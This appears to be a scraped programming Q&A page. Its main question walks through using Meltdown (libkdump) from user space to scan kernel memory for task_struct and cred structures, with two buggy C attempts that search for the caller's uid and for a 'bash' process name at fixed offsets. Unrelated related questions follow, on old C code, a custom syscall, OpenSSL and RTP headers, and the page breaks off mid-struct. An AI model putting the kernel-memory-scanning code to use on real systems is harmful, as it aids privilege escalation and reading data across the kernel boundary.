I know it is supposed to be used in Kernel Modules.
But if I want to pass a pointer to struct task_struct and read the data (for example process name) from it in user mode with root privileges, will it be possible?
I want to access raw virtual addresses, and hope it will be a struct task_struct structure if not, go further. It will be kind of brute forcing virtual address for task_structs.
Do I have to go through Kernel Headers and import struct definitions manually to read each bytes?
Thanks,
Started to hack my way through Kernel, but it seem it will be a lot of stucts to work with:
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
#endif
/* -1 unrunnable, 0 runnable, >0 stopped: */
volatile long state;
/*
* This begins the randomizable portion of task_struct. Only
* scheduling-critical items should be added above here.
*/
randomized_struct_fields_start
void *stack;
atomic_t usage;
/* Per task flags (PF_*), defined further below: */
unsigned int flags;
unsigned int ptrace;
#ifdef CONFIG_SMP
struct llist_node wake_entry;
int on_cpu;
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* Current CPU: */
unsigned int cpu;
#endif
unsigned int wakee_flips;
unsigned long wakee_flip_decay_ts;
struct task_struct *last_wakee;
int wake_cpu;
#endif
int on_rq;
int prio;
int static_prio;
int normal_prio;
unsigned int rt_priority;
const struct sched_class *sched_class;
struct sched_entity se;
struct sched_rt_entity rt;
#ifdef CONFIG_CGROUP_SCHED
struct task_group *sched_task_group;
#endif
struct sched_dl_entity dl;
#ifdef CONFIG_PREEMPT_NOTIFIERS
/* List of struct preempt_notifier: */
struct hlist_head preempt_notifiers;
#endif
#ifdef CONFIG_BLK_DEV_IO_TRACE
unsigned int btrace_seq;
#endif
unsigned int policy;
int nr_cpus_allowed;
cpumask_t cpus_allowed;
#ifdef CONFIG_PREEMPT_RCU
int rcu_read_lock_nesting;
union rcu_special rcu_read_unlock_special;
struct list_head rcu_node_entry;
struct rcu_node *rcu_blocked_node;
#endif /* #ifdef CONFIG_PREEMPT_RCU */
#ifdef CONFIG_TASKS_RCU
unsigned long rcu_tasks_nvcsw;
bool rcu_tasks_holdout;
struct list_head rcu_tasks_holdout_list;
int rcu_tasks_idle_cpu;
#endif /* #ifdef CONFIG_TASKS_RCU */
struct sched_info sched_info;
struct list_head tasks;
#ifdef CONFIG_SMP
struct plist_node pushable_tasks;
struct rb_node pushable_dl_tasks;
#endif
struct mm_struct *mm;
struct mm_struct *active_mm;
/* Per-thread vma caching: */
struct vmacache vmacache;
#ifdef SPLIT_RSS_COUNTING
struct task_rss_stat rss_stat;
#endif
int exit_state;
int exit_code;
int exit_signal;
/* The signal sent when the parent dies: */
int pdeath_signal;
/* JOBCTL_*, siglock protected: */
unsigned long jobctl;
/* Used for emulating ABI behavior of previous Linux versions: */
unsigned int personality;
/* Scheduler bits, serialized by scheduler locks: */
unsigned sched_reset_on_fork:1;
unsigned sched_contributes_to_load:1;
unsigned sched_migrated:1;
unsigned sched_remote_wakeup:1;
/* Force alignment to the next boundary: */
unsigned :0;
/* Unserialized, strictly 'current' */
/* Bit to tell LSMs we're in execve(): */
unsigned in_execve:1;
unsigned in_iowait:1;
#ifndef TIF_RESTORE_SIGMASK
unsigned restore_sigmask:1;
#endif
#ifdef CONFIG_MEMCG
unsigned memcg_may_oom:1;
#ifndef CONFIG_SLOB
unsigned memcg_kmem_skip_account:1;
#endif
#endif
#ifdef CONFIG_COMPAT_BRK
unsigned brk_randomized:1;
#endif
#ifdef CONFIG_CGROUPS
/* disallow userland-initiated cgroup migration */
unsigned no_cgroup_migration:1;
#endif
unsigned long atomic_flags; /* Flags requiring atomic access. */
struct restart_block restart_block;
pid_t pid;
pid_t tgid;
#ifdef CONFIG_CC_STACKPROTECTOR
/* Canary value for the -fstack-protector GCC feature: */
unsigned long stack_canary;
#endif
/*
* Pointers to the (original) parent process, youngest child, younger sibling,
* older sibling, respectively. (p->father can be replaced with
* p->real_parent->pid)
*/
/* Real parent process: */
struct task_struct __rcu *real_parent;
/* Recipient of SIGCHLD, wait4() reports: */
struct task_struct __rcu *parent;
/*
* Children/sibling form the list of natural children:
*/
struct list_head children;
struct list_head sibling;
struct task_struct *group_leader;
/*
* 'ptraced' is the list of tasks this task is using ptrace() on.
*
* This includes both natural children and PTRACE_ATTACH targets.
* 'ptrace_entry' is this task's link on the p->parent->ptraced list.
*/
struct list_head ptraced;
struct list_head ptrace_entry;
/* PID/PID hash table linkage. */
struct pid_link pids[PIDTYPE_MAX];
struct list_head thread_group;
struct list_head thread_node;
struct completion *vfork_done;
/* CLONE_CHILD_SETTID: */
int __user *set_child_tid;
/* CLONE_CHILD_CLEARTID: */
int __user *clear_child_tid;
u64 utime;
u64 stime;
#ifdef CONFIG_ARCH_HAS_SCALED_CPUTIME
u64 utimescaled;
u64 stimescaled;
#endif
u64 gtime;
struct prev_cputime prev_cputime;
#ifdef CONFIG_VIRT_CPU_ACCOUNTING_GEN
struct vtime vtime;
#endif
#ifdef CONFIG_NO_HZ_FULL
atomic_t tick_dep_mask;
#endif
/* Context switch counts: */
unsigned long nvcsw;
unsigned long nivcsw;
/* Monotonic time in nsecs: */
u64 start_time;
/* Boot based time in nsecs: */
u64 real_start_time;
/* MM fault and swap info: this can arguably be seen as either mm-specific or thread-specific: */
unsigned long min_flt;
unsigned long maj_flt;
#ifdef CONFIG_POSIX_TIMERS
struct task_cputime cputime_expires;
struct list_head cpu_timers[3];
#endif
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
struct nameidata *nameidata;
#ifdef CONFIG_SYSVIPC
struct sysv_sem sysvsem;
struct sysv_shm sysvshm;
#endif
#ifdef CONFIG_DETECT_HUNG_TASK
unsigned long last_switch_count;
#endif
/* Filesystem information: */
struct fs_struct *fs;
/* Open file information: */
struct files_struct *files;
/* Namespaces: */
struct nsproxy *nsproxy;
/* Signal handlers: */
struct signal_struct *signal;
struct sighand_struct *sighand;
sigset_t blocked;
sigset_t real_blocked;
/* Restored if set_restore_sigmask() was used: */
sigset_t saved_sigmask;
struct sigpending pending;
unsigned long sas_ss_sp;
size_t sas_ss_size;
unsigned int sas_ss_flags;
struct callback_head *task_works;
struct audit_context *audit_context;
#ifdef CONFIG_AUDITSYSCALL
kuid_t loginuid;
unsigned int sessionid;
#endif
struct seccomp seccomp;
/* Thread group tracking: */
u32 parent_exec_id;
u32 self_exec_id;
/* Protection against (de-)allocation: mm, files, fs, tty, keyrings, mems_allowed, mempolicy: */
spinlock_t alloc_lock;
/* Protection of the PI data structures: */
raw_spinlock_t pi_lock;
struct wake_q_node wake_q;
#ifdef CONFIG_RT_MUTEXES
/* PI waiters blocked on a rt_mutex held by this task: */
struct rb_root pi_waiters;
struct rb_node *pi_waiters_leftmost;
/* Updated under owner's pi_lock and rq lock */
struct task_struct *pi_top_task;
/* Deadlock detection and priority inheritance handling: */
struct rt_mutex_waiter *pi_blocked_on;
#endif
#ifdef CONFIG_DEBUG_MUTEXES
/* Mutex deadlock detection: */
struct mutex_waiter *blocked_on;
#endif
#ifdef CONFIG_TRACE_IRQFLAGS
unsigned int irq_events;
unsigned long hardirq_enable_ip;
unsigned long hardirq_disable_ip;
unsigned int hardirq_enable_event;
unsigned int hardirq_disable_event;
int hardirqs_enabled;
int hardirq_context;
unsigned long softirq_disable_ip;
unsigned long softirq_enable_ip;
unsigned int softirq_disable_event;
unsigned int softirq_enable_event;
int softirqs_enabled;
int softirq_context;
#endif
#ifdef CONFIG_LOCKDEP
# define MAX_LOCK_DEPTH 48UL
u64 curr_chain_key;
int lockdep_depth;
unsigned int lockdep_recursion;
struct held_lock held_locks[MAX_LOCK_DEPTH];
gfp_t lockdep_reclaim_gfp;
#endif
#ifdef CONFIG_UBSAN
unsigned int in_ubsan;
#endif
/* Journalling filesystem info: */
void *journal_info;
/* Stacked block device info: */
struct bio_list *bio_list;
#ifdef CONFIG_BLOCK
/* Stack plugging: */
struct blk_plug *plug;
#endif
/* VM state: */
struct reclaim_state *reclaim_state;
struct backing_dev_info *backing_dev_info;
struct io_context *io_context;
/* Ptrace state: */
unsigned long ptrace_message;
siginfo_t *last_siginfo;
struct task_io_accounting ioac;
#ifdef CONFIG_TASK_XACCT
/* Accumulated RSS usage: */
u64 acct_rss_mem1;
/* Accumulated virtual memory usage: */
u64 acct_vm_mem1;
/* stime + utime since last update: */
u64 acct_timexpd;
#endif
#ifdef CONFIG_CPUSETS
/* Protected by ->alloc_lock: */
nodemask_t mems_allowed;
/* Seqence number to catch updates: */
seqcount_t mems_allowed_seq;
int cpuset_mem_spread_rotor;
int cpuset_slab_spread_rotor;
#endif
#ifdef CONFIG_CGROUPS
/* Control Group info protected by css_set_lock: */
struct css_set __rcu *cgroups;
/* cg_list protected by css_set_lock and tsk->alloc_lock: */
struct list_head cg_list;
#endif
#ifdef CONFIG_INTEL_RDT
u32 closid;
u32 rmid;
#endif
#ifdef CONFIG_FUTEX
struct robust_list_head __user *robust_list;
#ifdef CONFIG_COMPAT
struct compat_robust_list_head __user *compat_robust_list;
#endif
struct list_head pi_state_list;
struct futex_pi_state *pi_state_cache;
#endif
#ifdef CONFIG_PERF_EVENTS
struct perf_event_context *perf_event_ctxp[perf_nr_task_contexts];
struct mutex perf_event_mutex;
struct list_head perf_event_list;
#endif
#ifdef CONFIG_DEBUG_PREEMPT
unsigned long preempt_disable_ip;
#endif
#ifdef CONFIG_NUMA
/* Protected by alloc_lock: */
struct mempolicy *mempolicy;
short il_prev;
short pref_node_fork;
#endif
#ifdef CONFIG_NUMA_BALANCING
int numa_scan_seq;
unsigned int numa_scan_period;
unsigned int numa_scan_period_max;
int numa_preferred_nid;
unsigned long numa_migrate_retry;
/* Migration stamp: */
u64 node_stamp;
u64 last_task_numa_placement;
u64 last_sum_exec_runtime;
struct callback_head numa_work;
struct list_head numa_entry;
struct numa_group *numa_group;
/*
* numa_faults is an array split into four regions:
* faults_memory, faults_cpu, faults_memory_buffer, faults_cpu_buffer
* in this precise order.
*
* faults_memory: Exponential decaying average of faults on a per-node
* basis. Scheduling placement decisions are made based on these
* counts. The values remain static for the duration of a PTE scan.
* faults_cpu: Track the nodes the process was running on when a NUMA
* hinting fault was incurred.
* faults_memory_buffer and faults_cpu_buffer: Record faults per node
* during the current scan window. When the scan completes, the counts
* in faults_memory and faults_cpu decay and these values are copied.
*/
unsigned long *numa_faults;
unsigned long total_numa_faults;
/*
* numa_faults_locality tracks if faults recorded during the last
* scan window were remote/local or failed to migrate. The task scan
* period is adapted based on the locality of the faults with different
* weights depending on whether they were shared or private faults
*/
unsigned long numa_faults_locality[3];
unsigned long numa_pages_migrated;
#endif /* CONFIG_NUMA_BALANCING */
struct tlbflush_unmap_batch tlb_ubc;
struct rcu_head rcu;
/* Cache last used pipe for splice(): */
struct pipe_inode_info *splice_pipe;
struct page_frag task_frag;
#ifdef CONFIG_TASK_DELAY_ACCT
struct task_delay_info *delays;
#endif
#ifdef CONFIG_FAULT_INJECTION
int make_it_fail;
unsigned int fail_nth;
#endif
/*
* When (nr_dirtied >= nr_dirtied_pause), it's time to call
* balance_dirty_pages() for a dirty throttling pause:
*/
int nr_dirtied;
int nr_dirtied_pause;
/* Start of a write-and-pause period: */
unsigned long dirty_paused_when;
#ifdef CONFIG_LATENCYTOP
int latency_record_count;
struct latency_record latency_record[LT_SAVECOUNT];
#endif
/*
* Time slack values; these are used to round up poll() and
* select() etc timeout values. These are in nanoseconds.
*/
u64 timer_slack_ns;
u64 default_timer_slack_ns;
#ifdef CONFIG_KASAN
unsigned int kasan_depth;
#endif
#ifdef CONFIG_FUNCTION_GRAPH_TRACER
/* Index of current stored address in ret_stack: */
int curr_ret_stack;
/* Stack of return addresses for return function tracing: */
struct ftrace_ret_stack *ret_stack;
/* Timestamp for last schedule: */
unsigned long long ftrace_timestamp;
/*
* Number of functions that haven't been traced
* because of depth overrun:
*/
atomic_t trace_overrun;
/* Pause tracing: */
atomic_t tracing_graph_pause;
#endif
#ifdef CONFIG_TRACING
/* State flags for use by tracers: */
unsigned long trace;
/* Bitmask and counter of trace recursion: */
unsigned long trace_recursion;
#endif /* CONFIG_TRACING */
#ifdef CONFIG_KCOV
/* Coverage collection mode enabled for this task (0 if disabled): */
enum kcov_mode kcov_mode;
/* Size of the kcov_area: */
unsigned int kcov_size;
/* Buffer for coverage collection: */
void *kcov_area;
/* KCOV descriptor wired with this task or NULL: */
struct kcov *kcov;
#endif
#ifdef CONFIG_MEMCG
struct mem_cgroup *memcg_in_oom;
gfp_t memcg_oom_gfp_mask;
int memcg_oom_order;
/* Number of pages to reclaim on returning to userland: */
unsigned int memcg_nr_pages_over_high;
#endif
#ifdef CONFIG_UPROBES
struct uprobe_task *utask;
#endif
#if defined(CONFIG_BCACHE) || defined(CONFIG_BCACHE_MODULE)
unsigned int sequential_io;
unsigned int sequential_io_avg;
#endif
#ifdef CONFIG_DEBUG_ATOMIC_SLEEP
unsigned long task_state_change;
#endif
int pagefault_disabled;
#ifdef CONFIG_MMU
struct task_struct *oom_reaper_list;
#endif
#ifdef CONFIG_VMAP_STACK
struct vm_struct *stack_vm_area;
#endif
#ifdef CONFIG_THREAD_INFO_IN_TASK
/* A live task holds one reference: */
atomic_t stack_refcount;
#endif
#ifdef CONFIG_LIVEPATCH
int patch_state;
#endif
#ifdef CONFIG_SECURITY
/* Used by LSM modules for access restriction: */
void *security;
#endif
/*
* New fields for task_struct should be added above here, so that
* they are included in the randomized portion of task_struct.
*/
randomized_struct_fields_end
/* CPU-specific state of this task: */
struct thread_struct thread;
/*
* WARNING: on x86, 'thread_struct' contains a variable-sized
* structure. It *MUST* be at the end of 'task_struct'.
*
* Do not put anything below here!
*/
};
Update 1:
Starting to write this code, based on this:
https://github.com/jonoberheide/stackjacking/blob/master/stackjack.c
It seems it is possible.
I want to pass input a memory access (via Meltdown):
read_struct_task.c
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
int i=0;
int value[512];
unsigned long task, cred, cred_ptr, real_cred, real_cred_ptr, val;
unsigned found_cred = 0, uid = getuid();
unsigned long * task_struct;
while (1) {
if(i==511)
{
task = value[0];
printf("[*] Looking for task_struct at %lx\n", vaddr);
task_struct = malloc(sizeof(long) * 0x200);
printf("[*] Reading task_struct...\n");
strncpy(task_struct, value, sizeof(long) * 0x200);
printf("[*] Finding cred struct (grab a coffee)...\n");
cred_ptr = task + 0x80;
for (i = 0; i < 0x200; i++) {
/* Looking for cred */
if(!found_cred) {
cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid) {
found_cred = 1;
real_cred_ptr = cred_ptr + 4;
printf("[*] cred struct ptr at %lx\n", cred_ptr);
printf("[*] cred struct at %lx\n", cred);
printf("[*] Finding real_cred struct...\n");
continue;
}
}
cred_ptr += sizeof(long);
}
/* Looking for real_cred */
else {
real_cred = task_struct[i];
strncpy(&val, value, 4);
if((int)val == (int)uid) {
strncpy(&val, value, 4);
if((int)val == (int)uid)
break;
}
real_cred_ptr += sizeof(long);
}
}
free(task_struct);
printf("[*] real_cred struct ptr at %lx\n", real_cred_ptr);
printf("[*] real_cred struct at %lx\n", real_cred);
i=0;
}
value[i] = libkdump_read(vaddr);
vaddr++;
i++;
}
libkdump_cleanup();
return 0;
}
Update 2:
I am not that experienced in this area.
Will the task_struct always be 512 bytes ? Kernel 3.2.x, 4.4.x? Do I have to manually calculate it for each Kernel? How?
How to find process name in this structure? Snippet in Update 1: is for cred struct.
Should I better use memcpy() instead of strncpy()?
A code sample would be great.
I guess to debug it I will need to write kernel module that shows me the pointer to task_struct and then verify it with my usermode program, if the values are read correctly.
Thanks!
Update 3:
I think I made a mistake. Long is 4 or 8 bytes. So the task_struck will be 512*4 bytes?
Update 4:
Or so the struct seem to be
size:5760
5760 bytes on Kernel 4.3.5
and the name of the process it the offset +996
Wondering if this is consistent among Kernels.
Update 5:
This should read processname and pid:
#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
size_t phys;
if (argc < 2) {
printf("Usage: %s <physical address> [<direct physical map>]\n", argv[0]);
return 0;
}
phys = strtoull(argv[1], NULL, 0);
libkdump_config_t config;
config = libkdump_get_autoconfig();
if (argc > 2) {
config.physical_offset = strtoull(argv[2], NULL, 0);
}
libkdump_init(config);
size_t vaddr = libkdump_phys_to_virt(phys);
printf("\x1b[32;1m[+]\x1b[0m Physical address : \x1b[33;1m0x%zx\x1b[0m\n", phys);
printf("\x1b[32;1m[+]\x1b[0m Physical offset : \x1b[33;1m0x%zx\x1b[0m\n", config.physical_offset);
printf("\x1b[32;1m[+]\x1b[0m Reading virtual address: \x1b[33;1m0x%zx\x1b[0m\n\n", vaddr);
char values[5760];
int pid=0;
while (1) {
for(int i=0;i<5760;i++)
{
values[i] = libkdump_read(vaddr);
printf("%c\n",values[i]);
vaddr++;
}
memcpy(&pid,values+768,sizeof(int));
if(strcmp(values+996,"bash")==0)
printf("addr:%p\tstr:%s\tpid:%i\n",vaddr,values+996,pid);
}
libkdump_cleanup();
return 0;
}
Related
I'm trying to build an ancient version of the ls command (written in pre-ANSI/ISO C). But I'm getting a lot of warnings, which for most of these I can fix, however I also get a few errors. This is one of them: error: conflicting types for ‘malloc’; have ‘char *()’
This is the affected part of the program:
static char sccsid[] = "#(#)ls.c 1.21";
/*
* list file or directory;
* define DOTSUP to suppress listing of files beginning with dot
*/
#include <sys/param.h>
#include <sys/types.h>
#include <sys/sysmacros.h>
#include <sys/stat.h>
#include <sys/dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef STANDALONE
#define TERMINFO
#endif
/* -DNOTERMINFO can be defined on the cc command line to prevent
* the use of terminfo. This should be done on systems not having
* the terminfo feature (pre 6.0 sytems ?).
* As a result, columnar listings assume 80 columns for output,
* unless told otherwise via the COLUMNS environment variable.
*/
#ifdef NOTERMINFO
#undef TERMINFO
#endif
#ifdef TERMINFO
#include <curses.h>
#include <term.h>
#endif
#define DOTSUP 1
#define ISARG 0100000 /* this bit equals 1 in lflags of structure lbuf
* if *namep is to be used;
*/
#define DIRECT 10 /* Number of direct blocks */
#ifdef u370
/* Number of pointers in an indirect block */
#define INDIR (BSIZE/sizeof(daddr_t))
/* Number of right shifts to divide by INDIR */
#define INSHFT 10
#else
/* Number of pointers in an indirect block */
#define INDIR 128
/* Number of right shifts to divide by INDIR */
#define INSHFT 7
#endif
struct lbuf {
union {
char lname[DIRSIZ]; /* used for filename in a directory */
char *namep; /* for name in ls-command; */
} ln;
char ltype; /* filetype */
unsigned short lnum; /* inode number of file */
short lflags; /* 0777 bits used as r,w,x permissions */
short lnl; /* number of links to file */
unsigned short luid;
unsigned short lgid;
long lsize; /* filesize or major/minor dev numbers */
long lmtime;
};
struct dchain {
char *dc_name; /* path name */
struct dchain *dc_next; /* next directory in the chain */
};
struct dchain *dfirst; /* start of the dir chain */
struct dchain *cdfirst; /* start of the durrent dir chain */
struct dchain *dtemp; /* temporary - used for linking */
char *curdir; /* the current directory */
int nfiles = 0; /* number of flist entries in current use */
int nargs = 0; /* number of flist entries used for arguments */
int maxfils = 0; /* number of flist/lbuf entries allocated */
int maxn = 0; /* number of flist entries with lbufs assigned */
int quantn = 1024; /* allocation growth quantum */
struct lbuf *nxtlbf; /* pointer to next lbuf to be assigned */
struct lbuf **flist; /* pointer to list of lbuf pointers */
struct lbuf *gstat();
FILE *pwdfu, *pwdfg, *dirf;
int aflg, bflg, cflg, dflg, fflg, gflg, iflg, lflg, mflg;
int nflg, oflg, pflg, qflg, sflg, tflg, uflg, xflg;
int Cflg, Fflg, Rflg;
int rflg = 1; /* initialized to 1 for special use in compar() */
int flags;
int err = 0; /* Contains return code */
char *dmark; /* Used if -p option active. Contains "/" or NULL. */
unsigned lastuid = -1, lastgid = -1;
int statreq; /* is > 0 if any of sflg, (n)lflg, tflg are on */
char *dotp = ".";
char *makename();
char tbufu[16], tbufg[16]; /* assumed 15 = max. length of user/group name */
char *ctime();
long nblock();
long tblocks; /* total number of blocks of files in a directory */
long year, now;
int num_cols = 80;
int colwidth;
int filewidth;
int fixedwidth;
int curcol;
int compar();
int new_line()
{
if (curcol) {
putc('\n',stdout);
curcol = 0;
}
}
int pprintf(char *s1, char *s2)
{
register char *s;
register int c;
register int cc;
int i;
for (s = s1, i = 0; i < 2; i++, s = s2)
while(c = *s++) {
if (c < ' ' || c >= 0177) {
if (qflg)
c = '?';
else if (bflg) {
curcol += 3;
putc ('\\', stdout);
cc = '0' + (c>>6 & 07);
putc (cc, stdout);
cc = '0' + (c>>3 & 07);
putc (cc, stdout);
c = '0' + (c & 07);
}
}
curcol++;
putc(c, stdout);
}
}
/*
* pdirectory: print the directory name, labelling it if title is
* nonzero, using lp as the place to start reading in the dir.
*/
int pdirectory (char *name, int title, int lp)
{
register struct dchain *dp;
register struct lbuf *ap;
register char *pname;
register int j;
filewidth = 0;
curdir = name;
if (title) {
putc('\n', stdout);
pprintf(name, ":");
new_line();
}
nfiles = lp;
readdir(name);
if (fflg==0)
qsort(&flist[lp],(unsigned)(nfiles - lp),sizeof(struct lbuf *),compar);
if (Rflg) for (j = nfiles - 1; j >= lp; j--) {
ap = flist[j];
if (ap->ltype == 'd' && strcmp(ap->ln.lname, ".") &&
strcmp(ap->ln.lname, "..")) {
dp = (struct dchain *)calloc(1,sizeof(struct dchain));
if (dp == NULL)
fprintf(stderr,"ls: out of memory\n");
pname = makename(curdir, ap->ln.lname);
dp->dc_name = (char *)calloc(1,strlen(pname)+1);
if (dp->dc_name == NULL) {
fprintf(stderr,"ls: out of memory\n");
free(dp);
}
else {
strcpy(dp->dc_name, pname);
dp -> dc_next = dfirst;
dfirst = dp;
}
}
}
if (lflg || sflg)
curcol += printf("total %ld", tblocks);
pem(&flist[lp],&flist[nfiles],lflg||sflg);
}
int main(int argc, char **argv)
{
extern char *optarg;
extern int optind;
int amino, opterr=0;
int c;
register struct lbuf *ep;
struct lbuf lb;
int i, width;
long time();
char *malloc();
void qsort(), exit();
malloc is declared in stdlib.h as :
void *malloc(size_t size);
You code wrongly re-declares it as:
char *malloc();
Remove the wrong re-declaration and review use of malloc() carefully.
So I'm trying to make a new system call in Red Hat 2.4.20 for a project that I've been working on. And for the I've created a C file to try the system call works or not and I've been getting the same error, Dereferencing pointer to imcomplete type, for days. My header file is here:
struct prcdata {
long counter; /* process counter value */
long nice; /* process nice value */
long prio; /* calculated with 20- processes’ nice value */
long weight; /* calculated with 20-nice+counter */
pid_t pid; /* process id */
long uid; /* user id of process owner */
int nofprocess; /* number of process of owner of current process
*/}
;
My C file for the system call is like this
#include <linux/mysyscall.h>
asmlinkage int cprocinf(struct prcdata *data)
{
cli();
struct prcdata temp;
copy_from_user(&temp,data,sizeof(struct prcdata));
temp.prio=20-current->nice;
temp.weight=current->counter + temp.prio;
temp.rank=2*current->nice;
temp.pid=current->pid;
temp.uid=current->uid;
temp.processcount=current->user->proccesses.counter;
copy_to_user(data,&temp,sizeof(struct prcdata));
return 0;
sti();
}
And the file to try this code is like this
#include <linux/mysyscall.h>
#include <stdio.h>
main(){
int ret;
struct prcdata *data;
ret=mysyscall(data);
printf("First values of process\n");
printf("Nice Value. %d\nPriority: %d\n", -data->prio+20,data->prio);
printf("Weight: %d\n", data->weight);
printf("Rank: %d\nPid: %d\nPid: %d\nParent: %d\nProcess Count: %d\n",data->rank,data->pid,data->pidparent,data->processcount);
}
What am I doing wrong
This
copy_from_user(&temp,arg1,sizeof(struct prcdata));
....
copy_to_user(arg1,&temp,sizeof(struct prcdata));
should be
copy_from_user(&temp,data,sizeof(struct prcdata));
....
copy_to_user(data,&temp,sizeof(struct prcdata));
And here you need to initialize the pointer or pass a local object:
main()
{
int ret;
struct prcdata data;
ret=mysyscall(&data);
...
}
or
main()
{
int ret;
struct prcdata *data = malloc(sizeof (struct prcdata));
ret=mysyscall(&data);
...
free(data);
}
I have a question regarding RSA_size.
Version that crash on WIN32 but works on linux platforms :
...
EVP_PKEY* pPublicKey = null;
unsigned int uKeySize = 0;
const unsigned char *pData;
pData = a_publicKey->Key.Data; /* Key.Data = unsigned char *p containing the Key in a string version */
pPublicKey = d2i_PublicKey(EVP_PKEY_RSA, null, &pData, a_publicKey->Key.Length);
if(pPublicKey != null)
{
uKeySize = RSA_size(pPublicKey->pkey.rsa); //Crash
}
...
Version that work on win32 (not tested on linux but I suppose it works as well):
...
EVP_PKEY* pPublicKey = null;
RSA* pRsaPublicKey = null;
unsigned int uKeySize = 0;
const unsigned char *pData;
pData = a_publicKey->Key.Data; /* Key.Data = unsigned char *p containing the Key in a string version */
pPublicKey = d2i_PublicKey(EVP_PKEY_RSA, null, &pData, a_publicKey->Key.Length);
if(pPublicKey != null)
{
pRsaPublicKey = EVP_PKEY_get1_RSA(pPublicKey);
EVP_PKEY_free(pPublicKey);
uKeySize = RSA_size(pRsaPublicKey);
}
...
I do not understand why the first version crash. But when I look into the pkey.rsa structure, values are not the same as in the RSA pointer in the 2nd version.
Any ideas ?
I looked into EVP_PKEY struct and it seems that WIN32 and linux version are different...
So I guess i am using a really old one for my WIN32.
WIN32 version :
struct evp_pkey_st
{
int type;
int save_type;
int references;
union {
char *ptr;
#ifndef OPENSSL_NO_RSA
struct rsa_st *rsa; /* RSA */
#endif
#ifndef OPENSSL_NO_DSA
struct dsa_st *dsa; /* DSA */
#endif
#ifndef OPENSSL_NO_DH
struct dh_st *dh; /* DH */
#endif
#ifndef OPENSSL_NO_EC
struct ec_key_st *ec; /* ECC */
#endif
} pkey;
int save_parameters;
STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */
} /* EVP_PKEY */;
linux :
struct evp_pkey_st
{
int type;
int save_type;
int references;
const EVP_PKEY_ASN1_METHOD *ameth;
ENGINE *engine;
union {
char *ptr;
#ifndef OPENSSL_NO_RSA
struct rsa_st *rsa; /* RSA */
#endif
#ifndef OPENSSL_NO_DSA
struct dsa_st *dsa; /* DSA */
#endif
#ifndef OPENSSL_NO_DH
struct dh_st *dh; /* DH */
#endif
#ifndef OPENSSL_NO_EC
struct ec_key_st *ec; /* ECC */
#endif
} pkey;
int save_parameters;
STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */
} /* EVP_PKEY */;
I create UDP packets (insert IP and UDP headers) and send across the UDP socket. I want to add a dummy RTP header to the packet that I create. I created the RTP structure and inserting the RTP header as below:
rtph->cc = 4
rtph->x = 1
rtph->p = 1
rtph->version = 2
rtph->pt = 7
rtph->m = 1
rtph->seq = 0
rtph->ts = random()
rtph->ssrc = 0
When I capture in the wireshasrk I get Unknown RTP Version 3.
Any help is appreciated
If you define your own struct in C for RTP you must take the byte order into account.
typedef struct _RTPHeader
{
//first byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int CC:4; /* CC field */
unsigned int X:1; /* X field */
unsigned int P:1; /* padding flag */
unsigned int version:2;
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int version:2;
unsigned int P:1; /* padding flag */
unsigned int X:1; /* X field */
unsigned int CC:4; /* CC field*/
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
//second byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int PT:7; /* PT field */
unsigned int M:1; /* M field */
#elif G_BYTE_ORDER == G_BIG_ENDIAN
unsigned int M:1; /* M field */
unsigned int PT:7; /* PT field */
#else
#error "G_BYTE_ORDER should be big or little endian."
#endif
guint16 seq_num; /* length of the recovery */
guint32 TS; /* Timestamp */
guint32 ssrc;
} RTPHeader; //12 bytes
The struct must be 12 bytes long, so you need force the compiler to pack it into a 12bytes long struct and not padding it.
Also I would add a static assert to check at compile time weather the struct really 12 bytes long, so:
#ifdef __WIN32__
#define PACKED
#pragma pack(push,1)
#else
#define PACKED __attribute__ ((__packed__))
#endif
//---------------------- STATIC ASSERT ----------------------------------
//Source: http://www.pixelbeat.org/programming/gcc/static_assert.html
#define ASSERT_CONCAT_(a, b) a##b
#define ASSERT_CONCAT(a, b) ASSERT_CONCAT_(a, b)
/* These can't be used after statements in c89. */
#ifdef __COUNTER__
#define STATIC_ASSERT(e,m) \
;enum { ASSERT_CONCAT(static_assert_, __COUNTER__) = 1/(!!(e)) }
#else
/* This can't be used twice on the same line so ensure if using in headers
* that the headers are not included twice (by wrapping in #ifndef...#endif)
* Note it doesn't cause an issue when used on same line of separate modules
* compiled with gcc -combine -fwhole-program. */
#define STATIC_ASSERT(e,m) \
;enum { ASSERT_CONCAT(assert_line_, __LINE__) = 1/(!!(e)) }
#endif
typedef struct _RTPHeader
{
//first byte
#if G_BYTE_ORDER == G_LITTLE_ENDIAN
unsigned int CC:4; /* CC field */
unsigned int X:1; /* X field */
unsigned int P:1; /* padding flag */
unsigned int version:2;
